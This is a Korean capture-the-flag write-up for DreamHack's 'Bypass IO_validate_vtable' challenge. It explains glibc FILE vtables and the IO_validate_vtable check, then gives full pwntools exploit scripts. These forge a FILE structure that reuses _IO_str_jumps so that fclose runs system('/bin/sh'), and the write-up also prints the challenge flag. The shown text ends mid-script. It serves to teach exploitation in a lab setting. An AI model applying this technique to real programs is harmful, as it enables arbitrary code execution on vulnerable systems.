문제: DreamHack — Bypass IO_validate_vtable 분류: pwnable 난이도: 🥇 Gold 3 FLAG:
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}
배포본은 바이너리 하나, libc 하나, 25줄짜리 C 소스 하나가 전부다. 소스가 짧아서 취약점을 찾는 데는 1분도 안 걸린다.
진짜 문제는 그 다음이다. 늘 쓰던 방식이 이 libc 에서는 abort 로 끝난다.
file extracted/bypass_valid_vtable && checksec --file=extracted/bypass_valid_vtable
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Bypass IO_validate_vtable |
| 난이도 | 🥇 Gold 3 |
| 분류 | pwnable |
| 제공 파일 | bypass_valid_vtable, bypass_valid_vtable.c, libc.so.6, Dockerfile |
| 스택 | Ubuntu 18.04 · glibc 2.27-3ubuntu1 · socat 으로 TCP 노출 |
| 보호 기법 | No PIE · Partial RELRO · NX · 카나리 없음 |
| 핵심 취약점 | FILE 구조체 전체를 임의 값으로 덮은 뒤 fclose 가 호출됨 |
| 핵심 기법 | IO_validate_vtable 우회 — 섹션 안의 _IO_str_jumps 재사용 |
풀이 흐름은 네 줄로 요약된다.
프로그램이 stdout 포인터를 직접 찍어 주니 libc 베이스가 공짜로 나온다.
그 값으로 _IO_str_jumps 와 system 의 실제 주소를 계산한다.
가짜 FILE 을 만들되 vtable 칸에는 libc 에 원래 있던 vtable 주소를 넣는다.
fclose 가 그 vtable 의 __finish 를 부르면 system("/bin/sh") 가 실행된다.
🧩 배경 — _IO_FILE, vtable, 그리고 2.24 에 생긴 벽
C 에서 FILE * 로 들고 다니는 그 구조체는 glibc 안에서 struct _IO_FILE 이다.
크기는 x86-64 에서 0xd8 바이트.
그런데 실제로 할당되는 건 그것보다 8바이트 큰 struct _IO_FILE_plus 다.
뒤에 함수 포인터 테이블 주소가 하나 더 붙는다.
struct _IO_FILE_plus
{
_IO_FILE file; /* 0x00 ~ 0xd7 */
const struct _IO_jump_t *vtable; /* 0xd8 */
};fread·fwrite·fclose 같은 함수는 자기가 직접 일하지 않는다.
vtable 에서 해당 슬롯을 꺼내 호출한다. 파일이냐 메모리 스트림이냐 파이프냐에 따라
동작이 달라져야 하니 C 로 구현한 가상 함수 테이블인 셈이다.
_IO_jump_t 는 앞에 더미 두 칸이 있다.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy); /* +0x00 */
JUMP_FIELD(size_t, __dummy2); /* +0x08 */
JUMP_FIELD(_IO_finish_t, __finish); /* +0x10 */
JUMP_FIELD(_IO_overflow_t, __overflow); /* +0x18 */
JUMP_FIELD(_IO_underflow_t, __underflow); /* +0x20 */
/* ... */
};그래서 __finish 는 vtable 기준 +0x10 이다. 이 오프셋은 뒤에서 계속 쓴다.
2.23 까지는 이게 그냥 뚫렸다
FILE 구조체를 덮을 수 있으면 vtable 포인터도 덮을 수 있다. 내가 통제하는 메모리에 가짜 테이블을 만들고 vtable 을 그쪽으로 돌리면, 다음 stdio 호출에서 원하는 주소로 점프한다.
너무 잘 되니까 glibc 2.24 에서 막았다. libio/libioP.h 에 검사가 들어갔다.
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}libc 안의 정상 vtable 들은 전부 __libc_IO_vtables 라는 전용 섹션에 모여 있다.
vtable 포인터가 그 섹션 밖을 가리키면 _IO_vtable_check() 로 빠지고,
거기서도 정당한 사유(dlopen 된 확장 등)가 없으면 프로세스를 죽인다.
이 문제 제목이 말하는 게 정확히 그 검사다. 먼저 대상 libc 를 확인한다.
strings extracted/libc.so.6 | grep "GNU C Library" && readelf -S extracted/libc.so.6 | grep -A1 __libc_IO_vtables
2.27-3ubuntu1. 검사가 살아 있는 버전이다.
그리고 섹션은 0x3e7760 부터 0xd68 바이트 — 즉 0x3e7760 ~ 0x3e84c8 이다.
이 범위는 앞으로 계속 나온다.
🔬 코드 정찰 — 25줄이 주는 것
배포된 소스 전문이다. 정말 이게 전부다.
// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}읽을 게 세 줄뿐이다.
fopen 이 힙에 FILE 을 하나 만든다. /dev/urandom 인 건 아무 의미 없고,
그냥 "정상적인 파일 스트림 하나"가 필요했을 뿐이다.
printf("stdout: %p\n", stdout) 가 _IO_2_1_stdout_ 의 런타임 주소를 그대로 찍는다.
libc 베이스를 구하는 데 삽질이 필요 없다는 뜻이다.
그리고 read(0, fp, 300). 첫 인자가 &fp 가 아니라 fp 다.
포인터 변수가 아니라 그 포인터가 가리키는 힙 구조체에 300바이트를 쓴다.
FILE 이 0xd8 바이트고 vtable 포인터까지 합쳐도 0xe0 이니, 300(0x12c)바이트면
구조체를 다 덮고도 남는다.
마지막 fclose(fp) 가 그 위조 구조체를 들고 stdio 안으로 들어간다.
정리하면 이렇다. 덮을 수 있는 건 FILE 전체, 트리거는 fclose 한 방.
남은 질문은 하나다 — fclose 는 이 구조체의 어느 칸을 실제로 읽는가.
🧱 fclose 가 실제로 지나가는 길
소스만 보고 추측하면 틀린다. glibc 소스도 버전마다 다르고, 컴파일러가 인라인·최적화를 해 버리면 실제 코드는 또 달라진다. 배포된 그 libc 를 직접 뜯어보는 게 맞다.
objdump -d --start-address=0x7e250 --stop-address=0x7e2be extracted/libc.so.6 | sed -f annot_fclose.sed주석은 sed 로 내가 붙인 것이고, 나머지는 objdump 출력 그대로다.
쓴 규칙 파일(annot_fclose.sed)은 이렇게 생겼다.
/ 7e254:/s/$/ <-- eax = fp->_flags/
/ 7e259:/s/$/ <-- _IO_IS_FILEBUF(0x2000) 검사/
/ 7e264:/s/$/ <-- _IO_USER_LOCK(0x8000) 검사/
/ 7e27c:/s/$/ <-- _lock 역참조 (USER_LOCK 이면 여기 안 온다)/
/ 7e28d:/s/$/ <-- r12 = fp+0xd8 = vtable/
/ 7e294:/s/$/ <-- __start___libc_IO_vtables/
/ 7e29b:/s/$/ <-- __stop___libc_IO_vtables/
/ 7e2a2:/s/$/ <-- rax = 섹션 길이/
/ 7e2a8:/s/$/ <-- rcx = vtable - 섹션시작/
/ 7e2ae:/s/$/ <-- 섹션 밖이면 _IO_vtable_check() = abort/
/ 7e2b9:/s/$/ <-- _IO_FINISH: vtable+0x10 호출/
이 한 장에 필요한 정보가 다 있다. 순서대로 읽으면 이렇다.
7e254 ~ 7e25c — _flags 를 읽어 test $0x20,%ah 로 검사한다.
ah 는 eax 의 8~15비트니까 0x20 << 8 = 0x2000, 즉 _IO_IS_FILEBUF 다.
이게 켜져 있으면 7e308 로 뛰어 _IO_un_link → _IO_file_close_it 코스를 탄다.
그 길은 _chain 리스트를 걷고 _fileno 로 close(2) 를 부르는, 신경 쓸 게 많은 길이다.
끄면 그냥 안 간다.
7e264 — and $0x8000,%edx 로 _IO_USER_LOCK 을 본다.
이게 0이면 7e314 로 내려가 락을 잡는데, 거기서 0x88(%rbx) 즉 _lock 을 역참조한다.
켜져 있으면 그 블록을 통째로 건너뛴다.
7e27c — 락 해제 쪽도 마찬가지다. mov 0x88(%rbx),%rdx 다음 subl $0x1,0x4(%rdx).
바로 위 7e278: test %edx,%edx / jne 7e28d 때문에 _IO_USER_LOCK 이 켜져 있으면
여기도 안 온다.
이게 이 문제에서 제일 마음에 든 발견이었다.
보통 위조 FILE 을 만들 때는 _lock 에 "쓰기 가능한 0으로 채워진 주소"를 찾아 넣어야 한다.
그런데 플래그 비트 하나로 그 요구사항 자체가 사라진다.
7e28d ~ 7e2ae — IO_validate_vtable 이 인라인된 자리다.
lea 두 개가 0x3e7760(시작)과 0x3e84c8(끝)을 그대로 상수로 박아 놨다.
rax = 끝 - 시작 = 0xd68, rcx = vtable - 시작.
cmp %rcx,%rax 후 jbe 면 _IO_vtable_check 로 간다.
즉 rcx 가 0xd68 보다 작아야 통과한다.
7e2b9 — call *0x10(%r12). _IO_FINISH, 곧 vtable 의 __finish 슬롯이다.
▶🕳️ 삽질 1 — 예전 방식대로 vtable 을 옮겨 봤다
검사가 있다는 걸 머리로는 알아도, 실제로 어떻게 죽는지는 한 번 봐야 감이 온다. 2.23 시절 방식 그대로 vtable 을 우리가 아는 아무 주소로 돌려 봤다.
문제는 "아는 주소"가 별로 없다는 것이다. 힙 주소는 안 새고, 바이너리 영역엔 우리가 쓴 값이 없다.
결국 유출된 _IO_2_1_stdout_ 자기 자신을 넣어 봤다. 어차피 요점은
"섹션 밖이면 무슨 일이 나는가"라 어디를 가리키든 같다.
#!/usr/bin/env python3
# glibc 2.23 시절 방식 — vtable 을 우리가 아는 아무 주소로나 돌려 본다.
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'warn'
IO_2_1_stdout_ = 0x3ec760
p = process('./local/bypass_valid_vtable')
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - IO_2_1_stdout_
print('[*] libc base = %#x' % libc)
# 우리가 실제로 아는 유일한 libc 주소 = _IO_2_1_stdout_ 자체.
# __libc_IO_vtables(libc+0x3e7760 ~ libc+0x3e84c8) 밖이다.
fake_vtable = libc + IO_2_1_stdout_
print('[*] fake vtable = %#x (__libc_IO_vtables 밖)' % fake_vtable)
payload = p64(0xfbad8000)
payload += b'\x00' * (0xd8 - 8)
payload += p64(fake_vtable)
payload += b'\x00' * (300 - len(payload))
p.recvuntil(b'Data: ')
p.send(payload)
print('[*] fclose() 결과:')
print(p.recvall(timeout=3).decode(errors='replace').strip())
print('[*] 종료 상태 =', p.poll(block=True))
Fatal error: glibc detected an invalid stdio handle
[*] 종료 상태 = -6-6 은 SIGABRT. _IO_vtable_check 가 __libc_fatal 로 프로세스를 끝낸 것이다.
여기서 알 수 있는 게 하나 더 있다. 이 메시지가 뜬다는 건 vtable 을 읽는 데까지는 갔다는 뜻이다.
즉 _flags 조작(_IO_IS_FILEBUF 끄기, _IO_USER_LOCK 켜기)은 이미 제대로 먹혔고,
막힌 건 딱 vtable 한 칸이다. 실패 지점이 정확히 어디인지 알고 넘어가면 다음 수가 짧아진다.
💣 핵심 — 섹션 안에 있는 진짜 vtable 을 빌린다
검사 조건을 다시 보면, 요구하는 건 하나다.
vtable 이 __libc_IO_vtables 섹션 안에 있을 것.
그 안에 있으면 내용이 뭐든 상관하지 않는다.
그런데 그 섹션에는 libc 가 쓰라고 만들어 둔 vtable 이 여러 개 들어 있다.
_IO_file_jumps, _IO_wfile_jumps, _IO_proc_jumps, _IO_mem_jumps, _IO_str_jumps…
FILE * 를 fopen 으로 열면 _IO_file_jumps 가 붙는다.
그런데 sprintf 처럼 메모리 버퍼를 스트림처럼 쓰는 함수는 다른 걸 쓴다.
문자열 스트림용 _IO_str_jumps 다. 그 vtable 의 __finish 슬롯에 걸린 함수를 보자.
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}_IO_strfile 은 _IO_FILE_plus 뒤에 두 칸이 더 붙은 구조체다.
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer; /* +0xe0 */
_IO_free_type _free_buffer; /* +0xe8 */
};정리하면 _IO_str_finish 는 이렇게 동작한다.
fp->_IO_buf_base(+0x38)가 NULL 이 아니고_flags & _IO_USER_BUF(0x1)가 꺼져 있으면*(fp+0xe8)을 함수로 호출한다. 인자는fp->_IO_buf_base.
+0x38 과 +0xe8. 둘 다 우리가 덮는 300바이트 안에 있다.
+0x38 에 "/bin/sh" 주소를, +0xe8 에 system 주소를 넣으면 그대로 셸이다.
_IO_str_jumps 주소 구하기 — 심볼이 없다
문제는 _IO_str_jumps 가 static const 라 배포 libc 에서 심볼이 안 남는다는 것이다.
nm 으로도 안 나오고 pwntools ELF.symbols 로도 안 잡힌다.
그래서 두 단서로 좁혔다.
_IO_str_jumps는__libc_IO_vtables섹션 안에 있다.- 그 vtable 의
__overflow(+0x18) 슬롯은_IO_str_overflow인데, 이건 export 돼 있다.
섹션 안에서 _IO_str_overflow 주소가 통째로 박힌 자리를 찾고, 거기서 0x18 을 빼면
vtable 시작이다. 다만 _IO_mem_jumps(open_memstream 용)도 __overflow 가 같은 함수라
후보가 둘 나온다. 그건 __finish 슬롯으로 가른다 — _IO_str_finish 는
_IO_str_overflow 와 같은 파일(strops.c)에 있어 주소가 가깝다.
#!/usr/bin/env python3
# 스트립된 libc 에서 _IO_str_jumps 의 오프셋을 찾는다.
#
# _IO_str_jumps 는 static const 라 심볼이 안 남는다. 하지만
# (1) __libc_IO_vtables 섹션 안에 있고,
# (2) +0x18(__overflow) 칸이 _IO_str_overflow — 이건 export 돼 있다.
# 이 둘로 후보를 좁힌 뒤, +0x10(__finish) 이 _IO_str_finish 인 쪽을 고른다.
# (_IO_mem_jumps 도 __overflow 가 _IO_str_overflow 라 후보로 같이 걸린다.)
import struct
from pwn import ELF
PATH = 'extracted/libc.so.6'
lib = ELF(PATH, checksec=False)
data = open(PATH, 'rb').read()
# __libc_IO_vtables 섹션 경계 — IO_validate_vtable 이 이 범위로 검사한다
sec = lib.get_section_by_name('__libc_IO_vtables')
start, size = sec.header.sh_addr, sec.header.sh_size
delta = sec.header.sh_addr - sec.header.sh_offset # 파일오프셋 → 가상주소
print('[section] __libc_IO_vtables = %#x .. %#x (len %#x)' % (start, start + size, size))
str_overflow = lib.symbols['_IO_str_overflow']
print('[symbol ] _IO_str_overflow = %#x' % str_overflow)
needle = struct.pack('<Q', str_overflow)
off = 0
while True:
i = data.find(needle, off)
if i < 0:
break
off = i + 1
vt = i - 0x18 + delta # __overflow 는 vtable+0x18
if not (start <= vt < start + size):
continue # 섹션 밖이면 vtable 이 아니다
finish = struct.unpack('<Q', data[i - 0x18 + 0x10:i - 0x18 + 0x18])[0]
name = '_IO_str_jumps' if abs(finish - str_overflow) < 0x1000 else '_IO_mem_jumps'
print('[cand ] vtable=%#x __finish=%#x → %s' % (vt, finish, name))
_IO_str_jumps = 0x3e8360, __finish = _IO_str_finish = 0x90300.
섹션 시작이 0x3e7760 이니 오프셋은 0x3e8360 - 0x3e7760 = 0xc00.
0xd68 보다 작다. 검사를 통과한다.
다른 경로로 한 번 더 확인
스크립트 하나 돌려 나온 값이라 찜찜하면, 완전히 다른 각도에서 대조할 수 있다.
vsprintf 는 스택에 _IO_strfile 을 만들고 거기에 _IO_str_jumps 를 심는다.
그 코드에 주소가 상수로 박혀 있을 것이다.
objdump -d --start-address=0x81690 --stop-address=0x816c3 extracted/libc.so.6 | sed -f annot_vsprintf.sed/ 8169a:/s/$/ <-- _IO_no_init: 스택에 _IO_strfile 초기화/
/ 8169f:/s/$/ <-- rax = 0x3e8360 = _IO_str_jumps/
/ 816b6:/s/$/ <-- 그 값을 strfile+0xd8(vtable 칸)에 저장/
/ 816be:/s/$/ <-- _IO_str_init_static_internal/
lea 0x366cba(%rip),%rax 의 계산 결과가 주석으로 # 3e8360 이라 찍혀 있고,
그 값이 0xd8(%rsp) 에 저장된다. _IO_FILE_plus 의 vtable 칸이다.
스크립트가 찾은 값과 정확히 같다.
_IO_str_finish 도 직접 확인
C 소스는 참고일 뿐이고, 실제로 도는 건 이 libc 의 기계어다.
objdump -d --start-address=0x90300 --stop-address=0x9032b extracted/libc.so.6 | sed -f annot_str_finish.sed/ 90304:/s/$/ <-- rdi = fp->_IO_buf_base/
/ 9030b:/s/$/ <-- NULL 이면 건너뜀/
/ 9030d:/s/$/ <-- _flags \& _IO_USER_BUF(0x1)/
/ 90310:/s/$/ <-- 켜져 있으면 건너뜀/
/ 90312:/s/$/ <-- fp+0xe8 을 함수로 호출 = system("\/bin\/sh")/
/ 90326:/s/$/ <-- _IO_default_finish 로 tail-call/
기계어 12줄이 소스와 한 줄씩 대응한다.
90300: push %rbx
90301: mov %rdi,%rbx ; rbx = fp
90304: mov 0x38(%rdi),%rdi ; rdi = fp->_IO_buf_base
90308: test %rdi,%rdi
9030b: je 90318 ; NULL 이면 호출 안 함
9030d: testb $0x1,(%rbx) ; _flags & _IO_USER_BUF
90310: jne 90318 ; 켜져 있으면 호출 안 함
90312: call *0xe8(%rbx) ; ★ 여기인자가 rdi = fp->_IO_buf_base 로 이미 세팅된 채로 *(fp+0xe8) 을 부른다.
system 의 첫 인자가 rdi 니 딱 맞는다. 가젯을 찾을 필요도 없다.
🎯 페이로드 조립 — 결국 _flags 세 비트
지금까지 나온 조건을 다 모으면 실제로 채워야 할 칸은 네 개뿐이다.
| 오프셋 | 필드 | 값 | 이유 |
|---|---|---|---|
0x00 | _flags | 0xfbad8000 | 아래 표 참고 |
0x38 | _IO_buf_base | libc + 0x1b3e9a | _IO_str_finish 가 rdi 로 넘길 "/bin/sh" |
0xd8 | vtable | libc + 0x3e8360 | _IO_str_jumps — 섹션 안이라 검사 통과 |
0xe8 | _s._free_buffer | libc + 0x4f440 | 실제로 호출되는 칸 = system |
나머지는 전부 0으로 둬도 된다. _lock(0x88)까지도.
_flags 는 비트 세 개가 전부다.
| 비트 | 이름 | 값 | 왜 |
|---|---|---|---|
0x0001 | _IO_USER_BUF | 꺼짐 | 켜져 있으면 _IO_str_finish 가 _free_buffer 를 안 부른다 |
0x2000 | _IO_IS_FILEBUF | 꺼짐 | 켜져 있으면 _IO_un_link · _IO_file_close_it 코스로 샌다 |
0x8000 | _IO_USER_LOCK | 켜짐 | 켜면 _lock(0x88) 역참조를 통째로 건너뛴다 |
0xfbad8000 은 세 조건을 다 만족하는 값 중 하나다.
상위 0xfbad 는 원래 FILE 의 매직이라 그대로 흉내 냈다.
사실 fclose 경로에서는 매직을 안 보므로 0x8000 만 넣어도 동작한다.
_IO_USER_LOCK 을 켜는 게 억지스러운 조합인가 싶었는데, 아니었다.
앞의 _IO_vsprintf 캡쳐에서 lea 바로 위에 있던 호출이 _IO_no_init 인데,
glibc 소스에서 그 호출은 이렇게 생겼다.
_IO_no_init (&sf._sbf._f, _IO_USER_LOCK, -1, NULL, NULL);
_IO_JUMPS (&sf._sbf) = &_IO_str_jumps;즉 glibc 자신이 문자열 스트림을 만들 때 _IO_USER_LOCK 을 켜고 _IO_str_jumps 를 붙인다.
우리가 조립한 조합은 정상 str 스트림이 원래 갖는 모양 그대로다.
_lock 이 필요 없는 것도 그래서다 — 스택에 잠깐 만들었다 버리는 스트림에
락을 걸 이유가 없으니 glibc 가 처음부터 그 경로를 꺼 둔 것이다.
한 그림으로 정리하면 이렇다.

런타임으로 확인
정적 분석이 맞았는지는 실행 중에 봐야 확실하다.
fclose+0x69(call *0x10(%r12) 직전)에 브레이크를 걸고 레지스터를 찍어 봤다.
먼저 gdb 는 ASLR 을 끄니 libc 적재 주소가 고정이다. 그 값으로 payload 를 파일에 만든다.
#!/usr/bin/env python3
# gdb 로 관찰할 때 쓸 payload.bin 을 만든다.
from pwn import p64, p32, p16, p8
import sys
libc = int(sys.argv[1], 0)
SYSTEM, BINSH, IO_STR_JUMPS = 0x4f440, 0x1b3e9a, 0x3e8360
payload = p64(0xfbad8000) # 0x00 _flags
payload += p64(0) * 6 # 0x08 _IO_read_ptr … 0x30 _IO_write_end
payload += p64(libc + BINSH) # 0x38 _IO_buf_base → _IO_str_finish 의 rdi
payload += p64(0) # 0x40 _IO_buf_end
payload += p64(0) * 4 # 0x48 _IO_save_base … 0x60 _markers
payload += p64(0) # 0x68 _chain
payload += p32(0) + p32(0) # 0x70 _fileno, 0x74 _flags2
payload += p64(0) # 0x78 _old_offset
payload += p16(0) + p8(0) + p8(0) + p32(0) # 0x80 _cur_column·_vtable_offset·_shortbuf
payload += p64(0) * 7 # 0x88 _lock … 0xb8 __pad5
payload += p32(0) + b'\x00' * 20 # 0xc0 _mode, 0xc4 _unused2[20]
assert len(payload) == 0xd8
payload += p64(libc + IO_STR_JUMPS) # 0xd8 vtable
payload += p64(0) # 0xe0 _s._allocate_buffer
payload += p64(libc + SYSTEM) # 0xe8 _s._free_buffer
payload += b'\x00' * (300 - len(payload))
open('payload.bin', 'wb').write(payload)
print('payload.bin %d bytes (libc=%#x vtable=%#x system=%#x)'
% (len(payload), libc, libc + IO_STR_JUMPS, libc + SYSTEM))libc 베이스는 프로그램이 스스로 찍어 주는 값에서 구한다.
base=$(gdb -q -batch -ex 'run < /dev/null' ./local/bypass_valid_vtable \
| grep -oP 'stdout: \K0x[0-9a-f]+')
python3 gen_payload.py $((base - 0x3ec760))gdb 배치 스크립트(gdb_check.gdb)는 이렇다.
set confirm off
set pagination off
# fclose+0x69 = IO_validate_vtable 을 통과한 직후, __finish 를 부르기 직전
break *(fclose+0x69)
run < payload.bin
set $libc = (unsigned long)&system - 0x4f440
printf "\n=== IO_validate_vtable 이 실제로 비교한 값 ===\n"
printf "libc base = %#lx\n", $libc
printf "section length (rax) = %#lx\n", $rax
printf "vtable offset (rcx) = %#lx <- length 보다 작아야 통과\n", $rcx
printf "vtable (r12) = libc+%#lx\n", $r12 - $libc
printf "\n=== 곧 불릴 함수와 그 인자 ===\n"
printf "__finish = *(vtable+0x10) = libc+%#lx (_IO_str_finish)\n", *(unsigned long *)($r12 + 0x10) - $libc
printf "fp->_IO_buf_base = libc+%#lx\n", *(unsigned long *)($rbx + 0x38) - $libc
x/s *(char **)($rbx + 0x38)
printf "fp+0xe8 = libc+%#lx\n", *(unsigned long *)($rbx + 0xe8) - $libc
info symbol *(unsigned long *)($rbx + 0xe8)gdb -q -batch -x gdb_check.gdb ./local/bypass_valid_vtable 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s
정적 분석에서 계산한 값이 실행 중 레지스터로 전부 확인된다.
section length (rax) = 0xd68— objdump 에서lea두 개로 읽은 값 그대로vtable offset (rcx) = 0xc00—0xd68미만이라jbe를 안 탄다__finish = libc+0x90300— 스크립트가 찾은_IO_str_finishx/s결과가"/bin/sh",fp+0xe8은 gdb 가system으로 해석
이 시점에서 call *0x10(%r12) 한 줄만 남았다.
▶🕳️ 삽질 2 — 로컬은 되는데 원격만 0바이트로 끝났다
익스는 완성됐고 로컬에서 셸까지 잡았는데, 배포 Dockerfile 그대로 띄운 socat 컨테이너에 붙이니 아무 응답도 안 왔다. 받은 바이트 수 0.
크래시인지, 셸은 떴는데 출력이 안 오는 건지 구분이 안 됐다.
Fatal error 같은 메시지라도 있으면 좋았을 텐데 그것도 없었다.
원인은 익스가 아니라 TCP 였다. 배포 CMD 를 보면 이렇다.
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; donesocat 이 소켓을 프로세스의 stdin 에 그대로 물린다.
그러니 read(0, fp, 300) 은 소켓에서 읽는다.
내가 보낸 건 240바이트 페이로드 + 곧이어 보낸 id\n 이었다.
둘이 붙어서 한 세그먼트로 도착하면 read 는 최대 300까지 읽으므로
셸에 줄 명령까지 같이 먹어 버린다. FILE 은 정상적으로 덮이고 셸도 정상적으로 뜬다.
그런데 그 셸이 읽을 게 아무것도 없어서 그냥 대기한다. 그러다 연결이 닫히면 조용히 끝난다.
로컬에서 process() 로 돌릴 땐 파이프 타이밍이 달라 우연히 나뉘어서 성공했다.
"로컬은 되는데 원격만 안 된다"의 정체가 익스 로직이 아니라 이거였다.
재현해 보면 명확하다.
#!/usr/bin/env python3
# 삽질 재현 — 페이로드를 0xf0(240)바이트만 보내고 곧바로 셸 명령을 붙여 보낸다.
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'warn'
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
p = remote(HOST, PORT)
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - 0x3ec760
payload = p64(0xfbad8000)
payload += p64(0) * 6
payload += p64(libc + 0x1b3e9a) # _IO_buf_base = "/bin/sh"
payload += b'\x00' * (0xd8 - len(payload))
payload += p64(libc + 0x3e8360) # vtable = _IO_str_jumps
payload += p64(0)
payload += p64(libc + 0x4f440) # +0xe8 = system
print('[*] libc=%#x payload=%d bytes (300 으로 안 채움)' % (libc, len(payload)))
p.recvuntil(b'Data: ')
p.send(payload)
p.sendline(b'id') # ← 이게 같은 세그먼트에 실려 read 에 먹힌다
out = p.recvall(timeout=5)
print('[*] 셸에서 받은 바이트 수 =', len(out))
print('[*] 받은 내용 =', out)
p.close()
해결은 간단하다. 페이로드를 정확히 300바이트로 채운다.
read 가 300을 다 먹고 반환하므로 뒤이어 보낸 명령은 소켓 버퍼에 남아 셸 몫이 된다.
payload += b'\x00' * (300 - len(payload))넘치는 0xf0~0x12b 구간은 힙 청크 안이라 안전하다.
fopen 이 잡는 struct locked_FILE 은 _IO_FILE_plus(0xe0) 뒤에
락과 _IO_wide_data 가 더 붙어 0x1d0 을 넘는다. 300바이트는 그 안에서 끝난다.
여기에 time.sleep(0.3) 을 하나 더 넣었다. 없어도 되지만,
느린 링크에서 300바이트가 두 세그먼트로 쪼개지는 경우까지 생각하면 있는 게 낫다.
🚀 Full Exploit
실제로 flag 를 뽑은 스크립트 전문이다.
#!/usr/bin/env python3
# Bypass IO_validate_vtable (DreamHack, Gold 3, pwnable / id 365)
#
# read(0, fp, 300) 으로 /dev/urandom 의 FILE 구조체를 통째로 덮은 뒤 fclose(fp) 가 호출된다.
# 대상은 Ubuntu 18.04 = glibc 2.27 이라 vtable 을 아무 주소로나 돌리면
# fclose 안에 인라인된 IO_validate_vtable 이 __libc_IO_vtables 섹션 밖이라며 abort 한다.
# 그래서 "섹션 안에 있는 진짜 vtable" 인 _IO_str_jumps 를 그대로 재사용하고,
# 거기서 불리는 _IO_str_finish 가 FILE+0xe8 을 함수 포인터로 호출한다는 점을 쓴다.
#
# _IO_str_finish(fp):
# rdi = fp->_IO_buf_base (FILE+0x38)
# if (rdi && !(fp->_flags & 1)) (_IO_USER_BUF)
# call *(fp+0xe8) (_IO_strfile._s._free_buffer)
#
# → _IO_buf_base = "/bin/sh", FILE+0xe8 = system 이면 system("/bin/sh").
#
# 사용법:
# python3 solve.py # 로컬 (localhost:7182, docker)
# python3 solve.py <host> <port> # 원격
from pwn import *
import sys, time
context.arch = 'amd64'
context.log_level = 'info'
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
# ── glibc 2.27-3ubuntu1 (Ubuntu 18.04) 오프셋 ───────────────────────────────
IO_2_1_stdout_ = 0x3ec760 # printf("%p", stdout) 로 새는 값
SYSTEM = 0x04f440
BINSH = 0x1b3e9a
IO_STR_JUMPS = 0x3e8360 # __libc_IO_vtables(0x3e7760~0x3e84c8) 안 → 검증 통과
# ───────────────────────────────────────────────────────────────────────────
p = remote(HOST, PORT)
# 1) libc base 유출 — 바이너리가 친절히 stdout 포인터를 찍어 준다
p.recvuntil(b'stdout: ')
leak = int(p.recvline().strip(), 16)
libc = leak - IO_2_1_stdout_
log.success('leak _IO_2_1_stdout_ = %#x' % leak)
log.success('libc base = %#x' % libc)
assert libc & 0xfff == 0, 'libc base 가 페이지 정렬이 아니다 — 오프셋 확인 필요'
system = libc + SYSTEM
binsh = libc + BINSH
str_jmp = libc + IO_STR_JUMPS
log.info('system=%#x /bin/sh=%#x _IO_str_jumps=%#x' % (system, binsh, str_jmp))
# 2) 가짜 _IO_strfile 조립
# _flags 는 세 비트가 전부다:
# _IO_USER_BUF (0x0001) → 0 이어야 _IO_str_finish 가 _free_buffer 를 부른다
# _IO_IS_FILEBUF (0x2000) → 0 이어야 fclose 가 _IO_un_link/_IO_file_close_it 를 건너뛴다
# _IO_USER_LOCK (0x8000) → 1 이면 fclose 가 _lock(0x88) 역참조를 통째로 건너뛴다
flags = 0xfbad8000
payload = p64(flags) # 0x00 _flags
payload += p64(0) * 6 # 0x08 _IO_read_ptr … 0x30 _IO_write_end
payload += p64(binsh) # 0x38 _IO_buf_base → _IO_str_finish 의 인자(rdi)
payload += p64(0) # 0x40 _IO_buf_end
payload += p64(0) * 4 # 0x48 _IO_save_base … 0x60 _markers
payload += p64(0) # 0x68 _chain
payload += p32(0) # 0x70 _fileno
payload += p32(0) # 0x74 _flags2
payload += p64(0) # 0x78 _old_offset
payload += p16(0) # 0x80 _cur_column
payload += p8(0) # 0x82 _vtable_offset
payload += p8(0) # 0x83 _shortbuf[1]
payload += p32(0) # 0x84 (padding)
payload += p64(0) # 0x88 _lock ← _IO_USER_LOCK 덕에 안 쓰인다
payload += p64(0) # 0x90 _offset
payload += p64(0) # 0x98 _codecvt
payload += p64(0) # 0xa0 _wide_data
payload += p64(0) # 0xa8 _freeres_list
payload += p64(0) # 0xb0 _freeres_buf
payload += p64(0) # 0xb8 __pad5
payload += p32(0) # 0xc0 _mode
payload += b'\x00' * 20 # 0xc4 _unused2[20]
assert len(payload) == 0xd8, hex(len(payload))
payload += p64(str_jmp) # 0xd8 vtable → IO_validate_vtable 통과
payload += p64(0) # 0xe0 _s._allocate_buffer
payload += p64(system) # 0xe8 _s._free_buffer → 실제로 불리는 칸
assert len(payload) == 0xf0, hex(len(payload))
# read(0, fp, 300) 이 정확히 300바이트를 먹게 채운다.
# 안 채우면 뒤이어 보낼 셸 명령이 같은 TCP 세그먼트에 실려 read 에 같이 빨려 들어가고,
